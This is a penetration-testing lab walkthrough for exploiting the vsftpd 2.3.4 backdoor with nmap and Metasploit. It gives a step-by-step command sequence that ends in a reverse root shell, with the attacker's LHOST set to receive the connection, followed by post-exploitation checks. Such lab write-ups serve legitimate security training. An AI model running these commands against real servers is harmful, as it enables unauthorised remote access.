FTP Exploitation
FTP (File Transfer Protocol) is a legacy file transfer service that has largely been replaced by encrypted alternatives like SFTP and FTPS on modern systems. However, unpatched or outdated FTP servers are still occasionally found in the wild and remain a common target in penetration testing labs. In this case, vsftpd 2.3.4 contains a publicly known backdoor that allows unauthenticated command execution — turning a simple version check into full remote access.
Discovery
nmap -A -p- -T5 [target IP]
Description
Scans all ports with service versions and OS detection to identify the target's open services.
Attack
msfconsole
Description
Launches the Metasploit Framework console.
search vsftpd
Description
Searches for modules related to vsftpd.
use exploit/unix/ftp/vsftpd_234_backdoor
Description
Selects the vsftpd 2.3.4 backdoor exploit module.
show targets
Description
Displays the exploit's available target options.
set target 0
Description
Selects the default target (Linux/Unix Command).
show options
Description
Displays the required parameters for the exploit and payload.
set RHOSTS [target IP]
Description
Sets the target's IP address.
set LHOST [my IP]
Description
Sets the attacker's IP address for the reverse connection.
set PAYLOAD cmd/unix/reverse
Description
Sets the payload to a Unix reverse shell.
check
Description
Verifies the target is vulnerable before launching the exploit.
exploit -j -z
Description
Launches the exploit as a background job. May need to be run more than once due to a timing-sensitive backdoor trigger.
Verification
sessions -l
Description
Lists active sessions.
sessions -i [id]
Description
Interacts with a specific session, using the ID shown by sessions -l.
whoami
Description
Confirms the privilege level of the compromised shell (root).
uname -a
Description
Displays the target system's kernel information.
ls
Description
Lists files in the current directory to confirm shell access.
Tool Used
This attack was carried out using Metasploit Framework — see the full command reference here.